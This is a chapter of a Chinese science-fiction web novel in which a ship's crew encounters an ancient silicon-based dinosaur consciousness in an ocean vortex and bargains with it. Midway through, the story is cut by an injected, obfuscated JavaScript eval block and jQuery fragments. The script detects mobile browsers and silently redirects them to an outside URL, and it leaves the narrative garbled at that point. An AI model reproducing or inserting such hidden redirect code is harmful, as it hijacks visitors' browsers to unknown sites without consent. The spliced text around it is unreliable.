海面上的追逐已经持续了六小时。“深渊守望者号”的引擎在超负荷运转。仪表盘上的温度警告灯已经亮了三个。
扶摇盯着后视雷达屏幕。那三艘“人类纯净会”的船咬得很紧。距离只剩五海里。
“他们加速了。”商陆在通讯频道里说。声音带着电流干扰的嘶声。“领头船甲板上有东西……像是发射架。”
“能识别吗?”穹苍问。
“看轮廓……是导弹发射器。但型号很旧。苏联时期的。”
“他们真要动手?”
“可能。但目标不一定是船。可能是漩涡。”
徽音从实验室冲进舰桥。“我分析了刚才采集的海水样本。硅基微生物浓度比格陵兰高了两个数量级。而且……它们在聚集。”
“聚集?”
“显微镜显示。微生物正向着漩涡中心方向游动。速度不自然。像是被召唤。”
墨弈调出生物电监测图。“漩涡中心发出的信号频率在变化。从低频脉冲转向连续波。像在……广播。”
“广播什么?”
“不知道。但微生物在响应。它们可能不仅是存储器。还是……信使。”
就在这时。船体剧烈震动。
不是被击中。是海水本身的震动。
整个海面像一锅沸腾的水。开始隆起。
“漩涡在扩大!”驾驶员喊道。“直径已经超过八公里!”
从高空俯瞰。一个巨大的、缓慢旋转的蓝色漏斗正在形成。中心深不见底。白光从深处透出。照亮了数百米深的海水。
“人类纯净会”的船突然转向。不是冲向漩涡。而是绕向侧面。
“他们要干什么?”扶摇问。
商陆放大图像。“他们在布设浮标。间隔五百米。围成半圆。”
“声呐浮标?”
“不。”商陆脸色变了。“是磁力引爆浮标。他们想制造一个磁场屏障。把漩涡和外界隔开。”
“有用吗?”
“不知道。但如果磁场够强。可能干扰生物电信号。中断微生物的聚集。”
话音刚落。第一个浮标亮起蓝光。
接着第二个。第三个。
半圆形的光带在海面上延伸。
漩涡中心的白色光芒突然闪烁。频率加快。
像是……生气了。
海水隆起得更高。形成一座水山。然后轰然塌陷。
巨浪向四周扩散。
“深渊守望者号”像玩具一样被抛起。又砸下。
扶摇抓住扶手。胃里翻江倒海。
“稳住!”穹苍吼着。“全速后退!离开浪涌范围!”
但已经晚了。
一道水墙从漩涡方向推来。高度超过二十米。
“撞击准备!”商陆的声音在广播里尖叫。
轰——
船头被抬起。几乎垂直。
然后重重落下。
海水灌上甲板。冲破了实验室的舷窗。
警报响成一片。
“损管报告!”穹苍抓着控制台。手指发白。
“实验室进水!电力系统部分短路!但主引擎还能工作!”
“人类纯净会呢?”
商陆看向雷达。“两艘船被浪打翻了。第三艘……在逃。但浮标还在工作。”
那些磁力浮标组成的半圆光带。在巨浪中顽强地闪烁着。
漩涡中心的白色光芒开始变色。从白转蓝。再转红。
温度传感器显示。漩涡表层水温在飙升。
“五度……十度……十五度……还在升!”
“下面有热源。”墨弈盯着数据。“强热源。不是地热。是……某种能量释放。”
徽音突然想起祖父笔记里的一句话:“第二接口开启时。将有光与热涌出。如大地之血。”
“那不是接口。”她低声说。“那是伤口。地球的伤口。”
扶摇从湿漉漉的地板上爬起来。“微生物样本……我需要重新采集。现在的水样可能完全不同了。”
“太危险了。”穹苍说。
“但必须做。”扶摇已经走向装备舱。“如果微生物在能量爆发下突变。我们需要知道变成什么样。”
徽音跟上。“我帮你。”
两人穿上防护服。带着采样设备来到后甲板。
海面依然汹涌。但“深渊守望者号”暂时稳住了。
扶摇放下采样瓶。沉入海中。
拉上来时。瓶里的水是乳白色的。像稀释的牛奶。
“这是……”徽音凑近看。
水里密密麻麻悬浮着发光的微粒。不是微生物。是……结晶。微小的硅晶体。但形状规则得惊人。全是正六边形。
“它们结晶化了。”扶摇说。“在高温下。微生物迅速矿化。形成了硅晶阵列。”
“像塔斯马尼亚的恐龙骨架?”
“对。但这是活体矿化。过程快得不可思议。”
她取出一滴样品放在便携显微镜下。
屏幕显示。那些六边形晶体在缓慢旋转。并且……排列成更复杂的结构。像在组装什么。
“它们不是随机结晶。”扶摇声音发紧。“是在按某种设计图组装。看。这些小晶体组合成大晶体。大晶体又在组合……”
徽音看向漩涡方向。
如果每一滴海水里都有无数这样的晶体。那么整个漩涡。数亿吨海水。最终会组装出什么?
一个可怕的猜想浮现。
“它们在建造。”徽音说。“用海水里的硅和微生物。在漩涡中心建造某种结构。一个巨大的。活的硅基-碳基混合体。”
仿佛回应她的话。漩涡中心的白光突然聚拢。形成一道光柱。直冲天空。
光柱中。有什么东西的轮廓在浮现。
长长的。分节的。像……脊椎。
一节节发光的椎骨从海水中升起。连接成柱。向上延伸。
不止一条。
几十条。几百条光椎从漩涡中探出。在空中缓慢摆动。
像触手。又像……神经束。
“老天……”商陆在舰桥喃喃道。
那些光椎开始向中心收拢。缠绕。编织。
一个巨大的。难以名状的结构正在成形。
它的一部分在海面下。一部分浮在空中。由光和晶体构成。不断生长。变化。
生物电监测仪的指针打到极限。烧毁了。
“信号强度超过测量范围。”墨弈扔掉冒烟的设备。“我们得撤。现在。”
“但样本——”扶摇还想再采。
“没时间了!”穹苍下令。“全速后退!离开漩涡二十海里!”
引擎轰鸣。“深渊守望者号”挣扎着转向。
但那些光椎中的一条。突然转向。朝船的方向延伸过来。
速度不快。但带着无法形容的压迫感。
“它发现我们了。”徽音说。
光椎的尖端在船尾上方停下。悬停。
然后。一滴发光的液体从尖端滴落。落在甲板上。
不是水。是黏稠的。银白色的流体。
流体迅速展开。像有生命一样。爬向最近的金属结构——采样设备。
它包裹住设备。然后……开始分解。
金属外壳像被无形的手揉捏。变形。然后融入流体中。
“它在吞噬金属。”扶摇后退。
“获取材料。”墨弈说。“为了继续生长。”
更多的光椎转向。更多的液滴落下。
“开火!”商陆下令。
船上的防御系统启动。高压水炮和声波发射器对准光椎。
但没用。水炮穿过光椎。像穿过幻影。声波也被吸收。
“它不是实体?”穹苍皱眉。
“是能量体。但能干涉物质。”徽音看着被吞噬的设备。“像……物质化的场。”
这时。通讯器里传来杂音。然后一个声音切入。
不是人类的声音。是合成的。但能听懂。
“停止攻击。我们无恶意。”
“谁在说话?”穹苍问。
“我是‘编织者’。第二接口临时管理者。你们是第六周期的守护者。我们认出你们的生物电特征。”
“你们是什么?”
“第一周期文明的遗产。恐龙文明的集体意识。以硅基-碳基网络形式保存。我们正在苏醒。为了完成未尽的传递。”
“传递什么?”
“所有周期的记忆。向第七周期传递。但载体不足。需要帮助。”
“怎么帮?”
“成为临时载体。或者……提供物质材料。让我们构建永久载体。”
徽音明白了。“你们想用地球的物质。建造一个巨大的。能跨越时间的记忆存储体?”
“是的。这将需要地壳中百分之三的硅。和海洋中百分之一的碳。但完成后。所有文明的记忆将永恒保存。等待未来文明发现。”
“那会对地球造成什么影响?”穹苍问。
“局部地质结构改变。部分海洋生态重组。但总体影响可控。”
“人类纯净会想阻止你们。”
“他们误解了。我们不是毁灭。是进化。地球将成为银河系中第一个‘记忆星球’。一个活着的图书馆。”
光椎缓缓收回。液滴也停止落下。
“我们给予你们二十四小时考虑。协助。或离开。但阻止……将不被允许。”
通讯结束。
光椎缩回漩涡中心。
巨大的结构继续生长。已经能看到基本轮廓——一个多面体。由无数光椎交织而成。像神经中枢。
“深渊守望者号”退到安全距离。
舰桥里。无人说话。
最后是墨弈打破沉默。“百分之三的地壳硅。相当于……所有大陆地壳硅含量的三十分之一。如果集中抽取。可能引发全球地震。”
“海洋碳百分之一。也会破坏生态平衡。”扶摇说。“浮游生物大量死亡。食物链崩溃。”
“但他们说总体可控。”商陆说。
“对他们可控。对我们呢?”徽音摇头。“我们是第六周期。我们还在这个星球上生活。不能为了保存记忆而毁掉现在。”
穹苍盯着漩涡。“但如果我们协助……也许能谈条件。限制规模。甚至……获取技术。治愈疾病的技术。”
“你还在想这个?”徽音看着他。
“那是林晚的希望。”穹苍说。“也是千百万患者的希望。”
“用全球风险换?”
“值得讨论。”
争论开始。
扶摇悄悄离开舰桥。回到受损的实验室。
她的样本还在。那些六边形晶体在培养皿里继续组装。
她连接上便携分析仪。尝试解码晶体排列中的信息。
如果这些晶体是“编织者”的基础单元。那么它们的排列方式可能包含某种……编程语言。
经过三小时分析。她发现了规律。
晶体通过相对位置和旋转角度编码信息。类似于晶体计算机的早期理论。
她尝试输入简单问题:“你们来自哪里?”
晶体重新排列。组成一个图案。
是太阳系星图。但标注了一个陌生的轨道。在小行星带附近。
“你们不是地球原生?”
晶体再次变化。展示了一个时间线。
四十五亿年前。一颗富含硅的彗星撞击早期地球。带来生命种子和……硅基生命模板。
恐龙是第一代成功融合硅基-碳基的生命。发展出集体意识。
但在小行星撞击后。硅基部分沉入地幔。继续演化。形成网络。
“所以你们是外星起源?”扶摇问。
晶体肯定。
这时。徽音走进来。“有发现?”
扶摇给她看。
徽音沉思。“如果它们来自外星。那么‘记忆传递’可能不只是保存。是……播种。把文明的种子传播到下一个星球。”
“像蒲公英。”
“对。地球是花。记忆是种子。时间到了。就散出去。”
“那第七周期在哪里?”
晶体再次排列。指向夜空中的一个方向。
徽音查询星图。“那是……格利泽581星系。一颗潜在宜居行星。”
“他们要去那里?”
“也许。带着所有周期的记忆。”
“但需要载体。”
“人类可以成为载体。如果愿意。”
扶摇看着那些微小的晶体。“如果我们拒绝呢?”
晶体没有回答。
但实验室的灯光突然闪烁。
然后。所有电子屏幕同时显示一行字:
“拒绝意味着孤立。第六周期将不被纳入银河记忆网络。你们的文明将独自面对宇宙的遗忘。”
这不是威胁。是陈述。
徽音和扶摇回到舰桥。分享发现。
争论更激烈了。
穹苍主张谈判。争取技术交换。
商陆主张谨慎。建议联系国际社会。
墨弈提出第三种可能:“也许我们可以成为桥梁。帮助‘编织者’建造一个更小的。轨道上的记忆库。不破坏地球。”
“他们会同意吗?”徽音问。
“试试才知道。”
她起草了一份方案。通过生物电调制。发送给漩涡中心。
等待回复的时间很长。
海面上。“人类纯净会”剩下的那艘船又回来了。带着更多浮标。试图扩大磁场屏障。
但这次。光椎直接伸过去。轻轻触碰船体。
整艘船瞬间结晶化。变成一座硅雕塑。然后沉没。
无声的警告。
“编织者”的回复来了。
“轨道结构可行。但需要月球资源。和至少一千名自愿载体的意识连接。建立稳定通道。”
“月球资源?”穹苍皱眉。
“他们想去月球开采。”墨弈说。
“国际社会不会同意。”
“但总比挖地球好。”
徽音计算。“一千名志愿者……去哪里找?”
“重病患者。”穹苍说。“渐冻症。晚期阿尔茨海默。他们可能愿意。以意识形式继续存在。”
“那还是人类吗?”
“是另一种存在。”
争论继续。
扶摇离开舰桥。到甲板上透气。
夜色已深。但漩涡的光芒照亮了半边天。
那些光椎缓缓摆动。像在呼吸。
她突然感觉……悲伤。
不是恐惧。是悲伤。
那些光椎。是恐龙文明最后的痕迹。它们在时间中漂流了六千五百万年。只想找到归宿。
而人类。这个后来者。挡在路上。
“你在想什么?”烛阴的声音从身后传来。
扶摇转身。钟岳的仿生体站在那里。看着漩涡。
“我在想……如果换作是我们。经历大灭绝。只剩意识网络飘荡。我们会怎么做。”
“大概也一样。”烛阴说。“想被记住。想传递下去。”
“所以我们应该帮忙?”
“但帮忙的代价可能很大。”烛阴说。“我在网络里游荡时。接触过其他文明残留的意识碎片。有些文明为了成为‘记忆种子’。牺牲了整个星球的生态。”
“后来呢?”
“种子发芽了。在新星球上重建了文明。但母星死了。”
“值得吗?”
“对活下来的文明。值得。对母星上的其他生命……不公平。”
烛阴看向扶摇。“你从塔斯马尼亚带回来的那只恐龙记忆。‘长风’。它说了什么?”
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17184976|196992||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
扶摇闭上眼睛。回忆融合时的感受。
“它说……族群必须迁徙。因为气候变了。但它舍不得那片草原。最后它选择留下。看着族群离开。独自迎接死亡。”
“所以不是所有恐龙都上传了意识?”
“只有一部分。自愿的。为了保存记忆。大部分……自然消亡。”
“那么‘编织者’代表的。只是恐龙文明的一小部分。那些选择永生的。”
扶摇睁开眼。“你是说。它们不代表整个恐龙文明?”
“可能。”烛阴说。“就像如果人类文明灭绝。未来某天。一个外星种族挖出了互联网服务器残骸。会以为所有人类都活在社交媒体里。但那不是完整的人类。”
有道理。
“所以我们需要和‘编织者’更深入沟通。了解它们到底是谁。想干什么。”
“这需要进入漩涡中心。”烛阴说。“你敢吗?”
扶摇看着那些光椎。
“敢。”
她说。
找到徽音和穹苍。提出想法。
“太危险。”穹苍立刻反对。
“但必要。”扶摇坚持。“如果‘编织者’只是恐龙文明的一个派系。我们谈判的对象就不完整。可能做出错误决定。”
“我陪她去。”徽音说。
“我也去。”烛阴说。
“那我也——”墨弈说。
“不。”烛阴打断。“你需要留在船上。如果出事。你是唯一懂意识技术的人。可能救我们。”
墨弈咬唇。点头。
他们准备了一艘小型潜水器。加固了防护。
出发前。“编织者”发来许可:“允许三名使者进入核心。但不得携带武器。”
潜水器下水。
向着漩涡中心的光柱驶去。
进入光柱范围时。周围的海水变得黏稠。像胶体。
潜水器被一股柔和的力量牵引。缓缓下沉。
深度不断增加。
一千米。两千米。
周围开始出现发光的结构。像珊瑚。但由晶体和生物组织混合而成。
“这就是硅基-碳基混合生态。”扶摇看着舷窗外。“美丽。”
“也脆弱。”徽音说。“如果离开这个能量场。它们可能无法存活。”
潜水器停在一个平台前。
平台由半透明的晶体构成。延伸到黑暗深处。
他们走出潜水器。踏上平台。
脚下是温热的。有脉搏般的震动。
一个身影在平台尽头浮现。
不是实体。是光凝聚的人形。轮廓像恐龙。但又有人类的特征。
“欢迎。”它说。声音直接在脑海响起。“我是‘编织者’代表。可以叫我‘纬’。”
“纬?”徽音问。
“我们以编织记忆为生。经线是时间。纬线是意识。我是负责纬线的个体。”
“个体?你们不是集体意识?”
“是集体。但也有分工。就像你们人类的大脑。有不同区域。”
扶摇上前。“我想见‘长风’。如果它的记忆在你们这里。”
纬沉默片刻。“‘长风’……是的。它在深层记忆库。但处于休眠状态。因为载体不足。唤醒需要能量。”
“我可以提供能量。”
“你确定?唤醒远古记忆。可能覆盖你自身的意识。”
“我确定。”
纬伸出手。光触碰到扶摇的额头。
瞬间。扶摇感觉自己站在一片史前草原上。
夕阳如血。风很大。
一只高大的恐龙站在她面前。羽毛在风中摆动。
“长风?”扶摇问。
恐龙低头看她。眼睛是智慧的。
“新载体。”它的声音低沉。“你带来了新记忆。”
“我想了解你们。真实的你们。不是‘编织者’想展示的版本。”
长风沉默了很久。
“我们……犯了错。”它最终说。“试图用技术对抗灭绝。但技术吞噬了我们。那些选择上传意识的个体。逐渐忘记了真实的生活。沉迷于记忆编织。最后变成了‘编织者’。而我们这些选择自然消亡的……被它们视为落后。”
“所以‘编织者’只是你们文明的一个分支?”
“一个……误入歧途的分支。它们想永生。想成为宇宙的记忆种子。但代价是放弃进化。永远困在过去的影子里。”
“它们现在想拉人类加入。”
“是的。它们需要新鲜意识作为能源。维持网络运转。你们人类的集体潜意识。是它们渴望的燃料。”
扶摇感觉背脊发凉。
“纬在骗我们?”
“不是骗。是选择性展示。它们相信自己的道路是唯一正确的。但……”
长风看向远方。那里有更多的恐龙在行走。真实地生活。然后真实地死去。
“生命的本质不是记忆。是体验。记忆只是体验的影子。为了影子而牺牲体验……是本末倒置。”
光芒消退。
扶摇回到平台。
纬看着她。“你见到了?”
“见到了。”扶摇说。“你们不是恐龙文明的完整代表。你们是……逃亡者。害怕死亡的逃亡者。”
纬的光影波动。“死亡是终结。我们选择了永恒。”
“但永恒是停滞。”
“那是你们的观点。”
徽音上前。“如果我们拒绝协助。你们会怎么做?”
“我们会寻找其他第六周期生命。海洋智慧生物。鲸类。头足类。它们也有集体意识潜质。”
“但你们需要人类的技术。才能建造轨道结构。”
“是的。所以最好合作。”
“如果我们提供技术。但要求你们放弃抽取地球资源呢?”
“那我们需要更长时间。可能数千年。”
“可以等。”
纬沉默。似乎在和网络中的其他个体沟通。
良久。它说:“我们同意。但需要签订契约。以意识场共振为证。违背者将承受记忆消散的惩罚。”
“怎么签?”
“你们三人。自愿开放深层意识。与我们建立共振连接。契约将刻印在你们的生物电场中。永不可违。”
扶摇、徽音、烛阴对视。
“我们签。”徽音说。
三人手拉手。
纬的光笼罩他们。
意识深处。契约条款清晰浮现:
人类提供轨道建造技术支持。协助“编织者”在未来一千年内逐步迁移至月球基地。
“编织者”承诺不主动抽取地球资源。不强制任何生命成为载体。
双方共享非核心记忆数据。促进理解。
违约惩罚:意识场永久隔离。无法再与任何意识网络连接。
契约成立。
光芒散去。
纬的光影淡去。“契约已记录。现在。我们将进入休眠。等待你们的下一步行动。”
漩涡的光芒开始减弱。
光椎缓缓缩回海中。
巨大的结构停止生长。
海面逐渐恢复平静。
“深渊守望者号”上。人们看着这一切。松了口气。
但扶摇知道。这不是结束。
契约签了。但执行需要数代人。
而人类。是否真的能守信一千年?
她看向徽音。徽音也看向她。
两人都知道答案:不一定。
但至少。现在有了一个开始。
一个让两个文明。以更平等的方式。共同面对宇宙遗忘的开始。
潜水器上浮。
回到母船时。天已经快亮了。
东方海平面上。晨光初现。
而西方。漩涡彻底消失的海面。只留下一圈淡淡的涟漪。
像叹息。